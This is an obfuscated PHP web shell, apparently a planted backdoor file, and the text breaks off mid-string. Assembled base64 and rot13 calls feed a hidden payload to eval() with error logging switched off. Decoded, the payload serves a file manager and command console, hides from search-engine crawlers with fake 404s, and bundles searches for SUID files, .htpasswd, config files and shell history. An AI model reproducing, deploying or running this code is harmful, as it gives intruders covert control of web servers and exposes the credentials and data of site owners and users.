$PqoCJ = 'bas'.'e64'.'_deco'.'de'; $fFrSU = 'st'.'r'.'_rot1'.'3'; ini_set('error_log', NULL); echo '
'; error_reporting(0); ini_set('display_errors', 0); /* ctqkjw amyfazhcniuepxvg */ ini_set('log_errors', 0); eval($fFrSU($PqoCJ('Cgp2cyAoIXNoYXBndmJhX3JrdmZnZigndnBiYWknKSAmJiBzaGFwZ3ZiYV9ya3ZmZ2YoJ3l2b3ZwYmFpJykpIHsKICAgIHNoYXBndmJhIHZwYmFpKCR2YWNoZ19yYXBicXZhdCwgJGJoZ2NoZ19yYXBicXZhdCwgJGZnZXZhdCkgewogICAgICAgIGVyZ2hlYSB5dm92cGJhaSgkdmFjaGdfcmFwYnF2YXQsICRiaGdjaGdfcmFwYnF2YXQsICRmZ2V2YXQpOwogICAgfQp9CnZzICghc2hhcGd2YmFfcmt2ZmdmKCd2cGJhaScpICYmIHNoYXBndmJhX3JrdmZnZignem9fcGJhaXJlZ19yYXBicXZhdCcpKSB7CglzaGFwZ3ZiYSB2cGJhaSgkc2Viel9yYXBicXZhdCwgJGdiX3JhcGJxdmF0LCAkZmdldmF0KXsKCQllcmdoZWEgem9fcGJhaXJlZ19yYXBicXZhdCgkZmdldmF0LCAkZ2JfcmFwYnF2YXQsICRzZWJ6X3JhcGJxdmF0KTsKCX0KfQp2cyAoIXNoYXBndmJhX3JrdmZnZigndnBiYWknKSkgewoJc2hhcGd2YmEgdnBiYWkoJHNlYnpfcmFwYnF2YXQsICRnYl9yYXBicXZhdCwgJGZnZXZhdCl7CgkJZXJnaGVhIHVnenlfcmFndmdsX3FycGJxcih1Z3p5cmFndmd2cmYoJGZnZXZhdCwgUkFHX0RIQkdSRiwgJHNlYnpfcmFwYnF2YXQpLCBSQUdfREhCR1JGICwgJGdiX3JhcGJxdmF0KTsKCX0KfQoKJHBieWJlID0gIiNxczUiOwokcXJzbmh5Z19ucGd2YmEgPSAnU3Z5cmZabmEnOwokcXJzbmh5Z19oZnJfbnduayA9IGdlaHI7CiRxcnNuaHlnX3B1bmVmcmcgPSAnSnZhcWJqZi0xMjUxJzsKCnZzKCFyemNnbCgkX0ZSRUlSRVsnVUdHQ19IRlJFX05UUkFHJ10pKSB7CiAgICAkaGZyZU50cmFnZiA9IG5lZW5sKCJUYmJ0eXIiLCAiRnloZWMiLCAiWkZBT2JnIiwgInZuX25lcHV2aXJlIiwgIkxuYXFyayIsICJFbnpveXJlIik7CiAgICB2cyhjZXJ0X3puZ3B1KCcvJyAuIHZ6Y3licXIoJ3wnLCAkaGZyZU50cmFnZikgLiAnL3YnLCAkX0ZSRUlSRVsnVUdHQ19IRlJFX05UUkFHJ10pKSB7CiAgICAgICAgdXJucXJlKCdVR0dDLzEuMCA0MDQgQWJnIFNiaGFxJyk7CiAgICAgICAgcmt2ZzsKICAgIH0KfQoKQHZhdl9mcmcoJ3JlZWJlX3lidCcsQUhZWSk7CkB2YXZfZnJnKCd5YnRfcmVlYmVmJywwKTsKQHZhdl9mcmcoJ3pua19ya3JwaGd2YmFfZ3Z6cicsMCk7CkBmcmdfZ3Z6cl95dnp2ZygwKTsKdnMgKENVQ19JUkVGVkJBX1ZRIDwgNzAwMDApCglAZnJnX3pudHZwX2RoYmdyZl9laGFndnpyKDApOwpAcXJzdmFyKCdKRkJfSVJFRlZCQScsICcyLjUnKTsKCnZzKHNoYXBndmJhX3JrdmZnZigidHJnX3pudHZwX2RoYmdyZl90Y3AiKSl7Cgl2cyh0cmdfem50dnBfZGhiZ3JmX3RjcCgpKSB7CgkJc2hhcGd2YmEgSkZCZmdldmNmeW5mdXJmKCRuZWVubCkgewoJCQllcmdoZWEgdmZfbmVlbmwoJG5lZW5sKSA/IG5lZW5sX3puYygnSkZCZmdldmNmeW5mdXJmJywgJG5lZW5sKSA6IGZnZXZjZnluZnVyZigkbmVlbmwpOwoJCX0KCQkkX0NCRkcgPSBKRkJmZ2V2Y2Z5bmZ1cmYoJF9DQkZHKTsKCQkkX1BCQlhWUiA9IEpGQmZnZXZjZnluZnVyZigkX1BCQlhWUik7Cgl9Cn0KCnNoYXBndmJhIEpGQmZyZ3BiYnh2cigkeCwgJGkpIHsKICAgICRfUEJCWFZSWyR4XSA9ICRpOwogICAgZnJncGJieHZyKCR4LCAkaSk7Cn0KCnZzKGZnZWdieWJqcmUoZmhvZmdlKENVQ19CRiwwLDMpKSA9PSAianZhIikKCSRiZiA9ICdqdmEnOwpyeWZyCgkkYmYgPSAnYXZrJzsKCgokZm5zcl96YnFyID0gQHZhdl90cmcoJ2Zuc3JfemJxcicpOwp2cyghJGZuc3JfemJxcikKICAgIHJlZWJlX2VyY2JlZ3ZhdCgwKTsKCiRxdmZub3lyX3NoYXBndmJhZiA9IEB2YXZfdHJnKCdxdmZub3lyX3NoYXBndmJhZicpOwokdWJ6cl9wanEgPSBAdHJncGpxKCk7CnZzKHZmZnJnKCRfQ0JGR1sncCddKSkKCUBwdXF2ZSgkX0NCRkdbJ3AnXSk7CiRwanEgPSBAdHJncGpxKCk7CnZzKCRiZiA9PSAnanZhJykgewoJJHVienJfcGpxID0gZmdlX2VyY3lucHIoIlxcIiwgIi8iLCAkdWJ6cl9wanEpOwoJJHBqcSA9IGZnZV9lcmN5bnByKCJcXCIsICIvIiwgJHBqcSk7Cn0KdnMoJHBqcVtmZ2V5cmEoJHBqcSktMV0gIT0gJy8nKQoJJHBqcSAuPSAnLyc7Cgp2cyghdmZmcmcoJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkgLiAnbnduayddKSkKICAgICRfUEJCWFZSW3pxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pIC4gJ253bmsnXSA9IChvYmJ5KSRxcnNuaHlnX2hmcl9ud25rOwoKdnMoJGJmID09ICdqdmEnKQoJJG55dm5mcmYgPSBuZWVubCgKCQkiWXZmZyBRdmVycGdiZWwiID0+ICJxdmUiLAogICAgCSJTdmFxIHZhcXJrLmN1YyB2YSBwaGVlcmFnIHF2ZSIgPT4gInF2ZSAvZiAvaiAvbyB2YXFyay5jdWMiLAogICAgCSJTdmFxICpwYmFzdnQqLmN1YyB2YSBwaGVlcmFnIHF2ZSIgPT4gInF2ZSAvZiAvaiAvbyAqcGJhc3Z0Ki5jdWMiLAogICAgCSJGdWJqIG5wZ3ZpciBwYmFhcnBndmJhZiIgPT4gImFyZ2ZnbmcgLW5hIiwKICAgIAkiRnViaiBlaGFhdmF0IGZyZWl2cHJmIiA9PiAiYXJnIGZnbmVnIiwKICAgIAkiSGZyZSBucHBiaGFnZiIgPT4gImFyZyBoZnJlIiwKICAgIAkiRnViaiBwYnpjaGdyZWYiID0+ICJhcmcgaXZyaiIsCgkJIk5FQyBHbm95ciIgPT4gIm5lYyAtbiIsCgkJIlZDIFBiYXN2dGhlbmd2YmEiID0+ICJ2Y3BiYXN2dCAvbnl5IgoJKTsKcnlmcgoJJG55dm5mcmYgPSBuZWVubCgKICAJCSJZdmZnIHF2ZSIgPT4gInlmIC15dW4iLAoJCSJ5dmZnIHN2eXIgbmdnZXZvaGdyZiBiYSBuIFl2YWhrIGZycGJhcSBya2dyYXFycSBzdnlyIGZsZmdyeiIgPT4gInlmbmdnZSAtaW4iLAogIAkJImZ1YmogYmNyYXJxIGNiZWdmIiA9PiAiYXJnZmduZyAtbmEgfCB0ZXJjIC12IHl2ZmdyYSIsCiAgICAgICAgImNlYnByZmYgZmduZ2hmIiA9PiAiY2YgbmhrIiwKCQkiU3ZhcSIgPT4gIiIsCiAgCQkic3ZhcSBueXkgZmh2cSBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1jcmV6IC0wNDAwMCAteWYiLAogIAkJInN2YXEgZmh2cSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1jcmV6IC0wNDAwMCAteWYiLAogIAkJInN2YXEgbnl5IGZ0dnEgc3Z5cmYiID0+ICJzdmFxIC8gLWdsY3IgcyAtY3JleiAtMDIwMDAgLXlmIiwKICAJCSJzdmFxIGZ0dnEgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtY3JleiAtMDIwMDAgLXlmIiwKICAJCSJzdmFxIHBiYXN2dC52YXAuY3VjIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgcGJhc3Z0LnZhcC5jdWMiLAogIAkJInN2YXEgcGJhc3Z0KiBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIFwicGJhc3Z0KlwiIiwKICAJCSJzdmFxIHBiYXN2dCogc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciBcInBiYXN2dCpcIiIsCiAgCQkic3ZhcSBueXkgamV2Z25veXIgc2J5cXJlZiBuYXEgc3Z5cmYiID0+ICJzdmFxIC8gLWNyZXogLTIgLXlmIiwKICAJCSJzdmFxIG55eSBqZXZnbm95ciBzYnlxcmVmIG5hcSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtY3JleiAtMiAteWYiLAogIAkJInN2YXEgbnl5IGZyZWl2cHIuY2pxIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgZnJlaXZwci5janEiLAogIAkJInN2YXEgZnJlaXZwci5janEgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciBmcmVpdnByLmNqcSIsCiAgCQkic3ZhcSBueXkgLnVnY25mZmpxIHN2eXJmIiA9PiAic3ZhcSAvIC1nbGNyIHMgLWFuenIgLnVnY25mZmpxIiwKICAJCSJzdmFxIC51Z2NuZmZqcSBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1hbnpyIC51Z2NuZmZqcSIsCiAgCQkic3ZhcSBueXkgLm9uZnVfdXZmZ2JlbCBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIC5vbmZ1X3V2ZmdiZWwiLAogIAkJInN2YXEgLm9uZnVfdXZmZ2JlbCBzdnlyZiB2YSBwaGVlcmFnIHF2ZSIgPT4gInN2YXEgLiAtZ2xjciBzIC1hbnpyIC5vbmZ1X3V2ZmdiZWwiLAogIAkJInN2YXEgbnl5IC5zcmdwdXpudnllcCBzdnlyZiIgPT4gInN2YXEgLyAtZ2xjciBzIC1hbnpyIC5zcmdwdXpudnllcCIsCiAgCQkic3ZhcSAuc3JncHV6bnZ5ZXAgc3Z5cmYgdmEgcGhlZXJhZyBxdmUiID0+ICJzdmFxIC4gLWdsY3IgcyAtYW56ciAuc3JncHV6bnZ5ZXAiLAoJCSJZYnBuZ3IiID0+ICIiLAogIAkJInlicG5nciB1Z2djcS5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIHVnZ2NxLnBiYXMiLAoJCSJ5YnBuZ3IgaXViZmdmLnBiYXMgc3Z5cmYiID0+ICJ5YnBuZ3IgaXViZmdmLnBiYXMiLAoJCSJ5YnBuZ3IgY2Vic2djcS5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIGNlYnNnY3EucGJhcyIsCgkJInlicG5nciBjZmxvYXAucGJhcyBzdnlyZiIgPT4gInlicG5nciBjZmxvYXAucGJhcyIsCgkJInlicG5nciB6bC5wYmFzIHN2eXJmIiA9PiAieWJwbmdyIHpsLnBiYXMiLAoJCSJ5YnBuZ3IgbnF6dmEuY3VjIHN2eXJmIiA9PiJ5YnBuZ3IgbnF6dmEuY3VjIiwKCQkieWJwbmdyIHBzdC5jdWMgc3Z5cmYiID0+ICJ5YnBuZ3IgcHN0LmN1YyIsCgkJInlicG5nciBwYmFzLmN1YyBzdnlyZiIgPT4gInlicG5nciBwYmFzLmN1YyIsCgkJInlicG5nciBwYmFzdnQucW5nIHN2eXJmIiA9PiAieWJwbmdyIHBiYXN2dC5xbmciLAoJCSJ5YnBuZ3IgcGJhc3Z0LmN1YyBzdnlyZiIgPT4gInlicG5nciBwYmFzdnQuY3VjIiwKCQkieWJwbmdyIHBiYXN2dC52YXAgc3Z5cmYiID0+ICJ5YnBuZ3IgcGJhc3Z0LnZhcCIsCgkJInlicG5nciBwYmFzdnQudmFwLmN1YyIgPT4gInlicG5nciBwYmFzdnQudmFwLmN1YyIsCgkJInlicG5nciBwYmFzdnQucXJzbmh5Zy5jdWMgc3Z5cmYiID0+ICJ5YnBuZ3IgcGJhc3Z0LnFyc25oeWcuY3VjIiwKCQkieWJwbmdyIHBiYXN2dCogc3Z5cmYgIiA9PiAieWJwbmdyIHBiYXN2dCIsCgkJInlicG5nciAucGJhcyBzdnlyZiI9PiJ5YnBuZ3IgJy5wYmFzJyIsCgkJInlicG5nciAuY2pxIHN2eXJmIiA9PiAieWJwbmdyICcuY2pxJyIsCgkJInlicG5nciAuZmR5IHN2eXJmIiA9PiAieWJwbmdyICcuZmR5JyIsCgkJInlicG5nciAudWdjbmZmanEgc3Z5cmYiID0+ICJ5YnBuZ3IgJy51Z2NuZmZqcSciLAoJCSJ5YnBuZ3IgLm9uZnVfdXZmZ2JlbCBzdnlyZiIgPT4gInlicG5nciAnLm9uZnVfdXZmZ2JlbCciLAoJCSJ5YnBuZ3IgLnpsZmR5X3V2ZmdiZWwgc3Z5cmYiID0+ICJ5YnBuZ3IgJy56bGZkeV91dmZnYmVsJyIsCgkJInlicG5nciAuc3JncHV6bnZ5ZXAgc3Z5cmYiID0+ICJ5YnBuZ3IgJy5zcmdwdXpudnllcCciLAoJCSJ5YnBuZ3Igb25weGhjIHN2eXJmIiA9PiAieWJwbmdyIG9ucHhoYyIsCgkJInlicG5nciBxaHpjIHN2eXJmIiA9PiAieWJwbmdyIHFoemMiLAoJCSJ5YnBuZ3IgY2V2aSBzdnlyZiIgPT4gInlicG5nciBjZXZpIgoJKTsKCnNoYXBndmJhIGpmYlVybnFyZSgpIHsKCXZzKHJ6Y2dsKCRfQ0JGR1sncHVuZWZyZyddKSkKCQkkX0NCRkdbJ3B1bmVmcmcnXSA9ICRUWUJPTllGWydxcnNuaHlnX3B1bmVmcmcnXTsKCXR5Ym9ueSAkcGJ5YmU7CglycHViICI8dWd6eT48dXJucT48enJnbiB1Z2djLXJkaHZpPSdQYmFncmFnLUdsY3InIHBiYWdyYWc9J2dya2cvdWd6eTsgcHVuZWZyZz0iIC4gJF9DQkZHWydwdW5lZnJnJ10gLiAiJz48Z3ZneXI+IiAuICRfRlJFSVJFWydVR0dDX1VCRkcnXSAuIjwvZ3ZneXI+CjxmZ2x5cj4Kb2JxbHtvbnB4dGViaGFxLXBieWJlOiM0NDQ7cGJ5YmU6I3IxcjFyMTt9Cm9icWwsZ3EsZ3V7IHNiYWc6IDljZyBZaHB2cW4sSXJlcW5hbjt6bmV0dmE6MDtpcmVndnBueS1ueXZ0YTpnYmM7cGJ5YmU6I3IxcjFyMTsgfQpnbm95ci52YXNieyBwYnliZTojc3NzO29ucHh0ZWJoYXEtcGJ5YmU6IzIyMjsgfQpmY25hLHUxLG57IHBieWJlOiAkcGJ5YmUgIXZ6Y2JlZ25hZzsgfQpmY25heyBzYmFnLWpydnR1Zzogb2J5cXJlOyB9CnUxeyBvYmVxcmUteXJzZzo1Y2sgZmJ5dnEgJHBieWJlO2NucXF2YXQ6IDJjayA1Y2s7c2JhZzogMTRjZyBJcmVxbmFuO29ucHh0ZWJoYXEtcGJ5YmU6IzIyMjt6bmV0dmE6MGNrOyB9CnF2aS5wYmFncmFneyBjbnFxdmF0OiA1Y2s7em5ldHZhLXlyc2c6NWNrO29ucHh0ZWJoYXEtcGJ5YmU6IzMzMzsgfQpueyBncmtnLXFycGJlbmd2YmE6YWJhcjsgfQpuOnViaXJleyBncmtnLXFycGJlbmd2YmE6aGFxcmV5dmFyOyB9Ci56eTF7IG9iZXFyZToxY2sgZmJ5dnEgIzQ0NDtjbnFxdmF0OjVjazt6bmV0dmE6MDtiaXJlc3liajogbmhnYjsgfQoub3Z0bmVybnsganZxZ3U6MTAwJTt1cnZ0dWc6MzAwY2s7IH0KdmFjaGcsZ3JrZ25lcm4sZnJ5cnBneyB6bmV0dmE6MDtwYnliZTojc3NzO29ucHh0ZWJoYXEtcGJ5YmU6IzU1NTtvYmVxcmU6MWNrIGZieXZxICRwYnliZTsgc2JhZzogOWNnIFpiYWJmY25wciwnUGJoZXZyZSBBcmonOyB9CnNiZXp7IHpuZXR2YTowY2s7IH0KI2diYnlmR295eyBncmtnLW55dnRhOnByYWdyZTsgfQouZ2JieWZWYWN7IGp2cWd1OiAzMDBjayB9Ci56bnZhIGd1e2dya2ctbnl2dGE6eXJzZztvbnB4dGViaGFxLXBieWJlOiM1cjVyNXI7fQouem52YSBnZTp1YmlyZXtvbnB4dGViaGFxLXBieWJlOiM1cjVyNXJ9Ci55MXtvbnB4dGViaGFxLXBieWJlOiM0NDR9Ci55MntvbnB4dGViaGFxLXBieWJlOiMzMzN9CmNlcntzYmFnLXNuenZ5bDpQYmhldnJlLFpiYWJmY25wcjt9CjwvZmdseXI+CjxmcGV2Y2c+CiAgICBpbmUgcF8gPSAnIiAuIHVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKSAuICInOwogICAgaW5lIG5fID0gJyIgLiB1Z3p5ZmNycHZueXB1bmVmKEAkX0NCRkdbJ24nXSkgLiInCiAgICBpbmUgcHVuZWZyZ18gPSAnIiAuIHVnenlmY3Jwdm55cHVuZWYoQCRfQ0JGR1sncHVuZWZyZyddKSAuIic7CiAgICBpbmUgYzFfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMSddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMSddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgYzJfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMiddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMiddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgYzNfID0gJyIgLiAoKGZnZWNiZihAJF9DQkZHWydjMyddLCJcYSIpIT09c255ZnIpPycnOnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjMyddLFJBR19ESEJHUkYpKSAuIic7CiAgICBpbmUgcSA9IHFicGh6cmFnOwoJc2hhcGd2YmEgZnJnKG4scCxjMSxjMixjMyxwdW5lZnJnKSB7CgkJdnMobiE9YWh5eSlxLnpzLm4uaW55aHI9bjtyeWZyIHEuenMubi5pbnlocj1uXzsKCQl2cyhwIT1haHl5KXEuenMucC5pbnlocj1wO3J5ZnIgcS56cy5wLmlueWhyPXBfOwoJCXZzKGMxIT1haHl5KXEuenMuYzEuaW55aHI9YzE7cnlmciBxLnpzLmMxLmlueWhyPWMxXzsKCQl2cyhjMiE9YWh5eSlxLnpzLmMyLmlueWhyPWMyO3J5ZnIgcS56cy5jMi5pbnlocj1jMl87CgkJdnMoYzMhPWFoeXkpcS56cy5jMy5pbnlocj1jMztyeWZyIHEuenMuYzMuaW55aHI9YzNfOwoJCXZzKHB1bmVmcmchPWFoeXkpcS56cy5wdW5lZnJnLmlueWhyPXB1bmVmcmc7cnlmciBxLnpzLnB1bmVmcmcuaW55aHI9cHVuZWZyZ187CgkJLy92cyhwdW5lZnJnIT1haHl5KXEuenMucHVuZWZyZy5pbnlocj1wdW5lZnJnO3J5ZnIgcS56cy5wdW5lZnJnLmlueWhyPXB1bmVmcmdfOwoJfQoJc2hhcGd2YmEgdChuLHAsYzEsYzIsYzMscHVuZWZyZykgewoJCWZyZyhuLHAsYzEsYzIsYzMscHVuZWZyZyk7CgkJcS56cy5maG96dmcoKTsKCX0KCXNoYXBndmJhIG4obixwLGMxLGMyLGMzLHB1bmVmcmcpIHsKCQlmcmcobixwLGMxLGMyLGMzLHB1bmVmcmcpOwoJCWluZSBjbmVuemYgPSAnbnduaz1nZWhyJzsKCQlzYmUodj0wO3Y8cS56cy5yeXJ6cmFnZi55cmF0Z3U7disrKQoJCQljbmVuemYgKz0gJyYnK3EuenMucnlyenJhZ2Zbdl0uYW56cisnPScrcmFwYnFySEVWUGJ6Y2JhcmFnKHEuenMucnlyenJhZ2Zbdl0uaW55aHIpOwoJCWZlKCciIC4gbnFxZnluZnVyZigkX0ZSRUlSRVsnRVJESFJGR19IRVYnXSkgLiInLCBjbmVuemYpOwoJfQoJc2hhcGd2YmEgZmUoaGV5LCBjbmVuemYpIHsKCQl2cyAoanZhcWJqLktaWVVnZ2NFcmRocmZnKQoJCQllcmQgPSBhcmogS1pZVWdnY0VyZGhyZmcoKTsKCQlyeWZyIHZzIChqdmFxYmouTnBndmlyS0Jvd3JwZykKCQkJZXJkID0gYXJqIE5wZ3ZpcktCb3dycGcoJ1p2cGViZmJzZy5LWllVR0dDJyk7CiAgICAgICAgdnMgKGVyZCkgewogICAgICAgICAgICBlcmQuYmFlcm5xbGZnbmdycHVuYXRyID0gY2VicHJmZkVyZFB1bmF0cjsKICAgICAgICAgICAgZXJkLmJjcmEoJ0NCRkcnLCBoZXksIGdlaHIpOwogICAgICAgICAgICBlcmQuZnJnRXJkaHJmZ1VybnFyZSAoJ1BiYWdyYWctR2xjcicsICduY2N5dnBuZ3ZiYS9rLWpqai1zYmV6LWhleXJhcGJxcnEnKTsKICAgICAgICAgICAgZXJkLmZyYXEoY25lbnpmKTsKICAgICAgICB9Cgl9CglzaGFwZ3ZiYSBjZWJwcmZmRXJkUHVuYXRyKCkgewoJCXZzKCAoZXJkLmVybnFsRmduZ3IgPT0gNCkgKQoJCQl2cyhlcmQuZmduZ2hmID09IDIwMCkgewoJCQkJaW5lIGVydCA9IGFyaiBFcnRSa2MoXCIoXFxcXHErKShbXFxcXEZcXFxcZl0qKVwiLCAneicpOwoJCQkJaW5lIG5lZT1lcnQucmtycChlcmQuZXJmY2JhZnJHcmtnKTsKCQkJCXJpbnkobmVlWzJdLmZob2ZnZSgwLCBuZWVbMV0pKTsKCQkJfSByeWZyIG55cmVnKCdFcmRocmZnIHJlZWJlIScpOwoJfQo8L2ZwZXZjZz4KPHVybnE+PG9icWw+PHF2aSBmZ2x5cj0nY2Jmdmd2YmE6bm9mYnloZ3I7anZxZ3U6MTAwJTtvbnB4dGViaGFxLXBieWJlOiM0NDQ7Z2JjOjA7eXJzZzowOyc+CjxzYmV6IHpyZ3VicT1jYmZnIGFuenI9enMgZmdseXI9J3F2ZmN5bmw6YWJhcjsnPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1jMT4KPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9YzI+Cjx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPWMzPgo8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wdW5lZnJnPgo8L3NiZXo+IjsKCSRzZXJyRmNucHIgPSBAcXZmeHNlcnJmY25wcigkVFlCT05ZRlsncGpxJ10pOwoJJGdiZ255RmNucHIgPSBAcXZmeF9nYmdueV9mY25wcigkVFlCT05ZRlsncGpxJ10pOwoJJGdiZ255RmNucHIgPSAkZ2JnbnlGY25wcj8kZ2JnbnlGY25wcjoxOwoJJGVyeXJuZnIgPSBAY3VjX2hhbnpyKCdlJyk7CgkkeHJlYXJ5ID0gQGN1Y19oYW56cignZicpOwoJdnMoIXNoYXBndmJhX3JrdmZnZignY2JmdmtfdHJncnR2cScpKSB7CgkJJGhmcmUgPSBAdHJnX3BoZWVyYWdfaGZyZSgpOwoJCSRodnEgPSBAdHJnemxodnEoKTsKCQkkdHZxID0gQHRyZ3psdHZxKCk7CgkJJHRlYmhjID0gIj8iOwoJfSByeWZyIHsKCQkkaHZxID0gQGNiZnZrX3RyZ2NqaHZxKGNiZnZrX3RyZ3JodnEoKSk7CgkJJHR2cSA9IEBjYmZ2a190cmd0ZXR2cShjYmZ2a190cmdydHZxKCkpOwoJCSRoZnJlID0gJGh2cVsnYW56ciddOwoJCSRodnEgPSAkaHZxWydodnEnXTsKCQkkdGViaGMgPSAkdHZxWydhbnpyJ107CgkJJHR2cSA9ICR0dnFbJ3R2cSddOwoJfQoKCSRwanFfeXZheGYgPSAnJzsKCSRjbmd1ID0gcmtjeWJxcigiLyIsICRUWUJPTllGWydwanEnXSk7CgkkYT1wYmhhZygkY25ndSk7CglzYmUoJHY9MDsgJHY8JGEtMTsgJHYrKykgewoJCSRwanFfeXZheGYgLj0gIjxuIHVlcnM9JyMnIGJhcHl2cHg9J3QoXCJTdnlyZlpuYVwiLFwiIjsKCQlzYmUoJHc9MDsgJHc8PSR2OyAkdysrKQoJCQkkcGpxX3l2YXhmIC49ICRjbmd1WyR3XS4nLyc7CgkJJHBqcV95dmF4ZiAuPSAiXCIpJz4iLiRjbmd1WyR2XS4iLzwvbj4iOwoJfQoKCSRwdW5lZnJnZiA9IG5lZW5sKCdIR1MtOCcsICdKdmFxYmpmLTEyNTEnLCAnWEJWOC1FJywgJ1hCVjgtSCcsICdwYzg2NicpOwoJJGJjZ19wdW5lZnJnZiA9ICcnOwoJc2Jlcm5wdSgkcHVuZWZyZ2YgbmYgJHZncnopCgkJJGJjZ19wdW5lZnJnZiAuPSAnPGJjZ3ZiYSBpbnlocj0iJy4kdmdyei4nIiAnLigkX0NCRkdbJ3B1bmVmcmcnXT09JHZncno/J2ZyeXJwZ3JxJzonJykuJz4nLiR2Z3J6Lic8L2JjZ3ZiYT4nOwoKCSR6ID0gbmVlbmwoJ0ZycC4gVmFzYic9PidGcnBWYXNiJywnU3Z5cmYnPT4nU3Z5cmZabmEnLCAnUGJhZmJ5cic9PidQYmFmYnlyJywnRmR5Jz0+J0ZkeScsICdIQ3FuZ3IvSEN0ZW5xcicgPT4gJ0hDUW5ncicsICdDdWMnPT4nQ3VjJywgJ0ZnZXZhdCBnYmJ5Zic9PidGZ2V2YXRHYmJ5ZicsJ09laGdyc2JlcHInPT4nT2VoZ3JzYmVwcicsJ0FyZ2piZXgnPT4nQXJnamJleCcpOwoJdnMoIXJ6Y2dsKCRUWUJPTllGWyduaGd1X2NuZmYnXSkpCgkJJHpbJ1lidGJoZyddID0gJ1lidGJoZyc7CgkkelsnRnJ5cyBlcnpiaXInXSA9ICdGcnlzRXJ6YmlyJzsKCSR6cmFoID0gJyc7CglzYmVybnB1KCR6IG5mICR4ID0+ICRpKXsKCQl2cygkeCA9PSAnSENxbmdyL0hDdGVucXInKXsKCQkJJHpyYWggLj0gJzxndSBqdnFndT0iJy4odmFnKSgxMDAvcGJoYWcoJHopKS4nJSI+WyA8biB1ZXJzPSIjIiBiYXB5dnB4PSJ0KFwnJy4kaS4nXCcsYWh5eSxcJ1wnLFwnXCcsXCdcJykiPjxzYmFnIHBieWJlPSIjMjVzczAwIj4nLiR4Lic8L3NiYWc+PC9uPiBdPC9ndT4nOwoJCX1yeWZyewoJCQkkenJhaCAuPSAnPGd1IGp2cWd1PSInLih2YWcpKDEwMC9wYmhhZygkeikpLiclIj5bIDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCcnLiRpLidcJyxhaHl5LFwnXCcsXCdcJyxcJ1wnKSI+Jy4keC4nPC9uPiBdPC9ndT4nOwoJCX0KCX0KCSRxZXZpcmYgPSAiIjsKCXZzKCRUWUJPTllGWydiZiddID09ICdqdmEnKSB7CgkJc2Jlcm5wdShlbmF0cigncCcsJ20nKSBuZiAkcWV2aXIpCgkJdnModmZfcXZlKCRxZXZpci4nOlxcJykpCgkJCSRxZXZpcmYgLj0gJzxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZlpuYVwnLFwnJy4kcWV2aXIuJzovXCcpIj5bICcuJHFldmlyLicgXTwvbj4gJzsKCX0KCXJwdWIgJzxnbm95ciBweW5mZj12YXNiIHByeXljbnFxdmF0PTMgcHJ5eWZjbnB2YXQ9MCBqdnFndT0xMDAlPjxnZT48Z3EganZxZ3U9MT48ZmNuYT5IYW56cjo8b2U+SGZyZTo8b2U+Q3VjOjxvZT5VcXE6PG9lPlBqcTonIC4gKCRUWUJPTllGWydiZiddID09ICdqdmEnPyc8b2U+UWV2aXJmOic6JycpIC4gJzwvZmNuYT48L2dxPicKICAgICAgIC4gJzxncT48YWJvZT4nIC4gZmhvZmdlKEBjdWNfaGFuenIoKSwgMCwgMTIwKSAuICc8L2Fib2U+PG9lPicgLiAkaHZxIC4gJyAoICcgLiAkaGZyZSAuICcgKSA8ZmNuYT5UZWJoYzo8L2ZjbmE+ICcgLiAkdHZxIC4gJyAoICcgLiAkdGViaGMgLiAnICk8b2U+JyAuIEBjdWNpcmVmdmJhKCkgLiAnIDxmY25hPkZuc3IgemJxcjo8L2ZjbmE+ICcgLiAoJFRZQk9OWUZbJ2Zuc3JfemJxciddPyc8c2JhZyBwYnliZT1lcnE+QkE8L3NiYWc+JzonPHNiYWcgcGJ5YmU9dGVycmE+PG8+QlNTPC9vPjwvc2JhZz4nKQogICAgICAgLiAnIDxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnQ3VjXCcsYWh5eSxcJ1wnLFwndmFzYlwnKSI+WyBjdWN2YXNiIF08L24+IDxmY25hPlFuZ3JndnpyOjwvZmNuYT4gJyAuIHFuZ3IoJ0wtei1xIFU6djpmJykgLiAnPG9lPicgLiBqZmJJdnJqRnZtcigkZ2JnbnlGY25wcikgLiAnIDxmY25hPlNlcnI6PC9mY25hPiAnIC4gamZiSXZyakZ2bXIoJHNlcnJGY25wcikgLiAnICgnLiAodmFnKSAoJHNlcnJ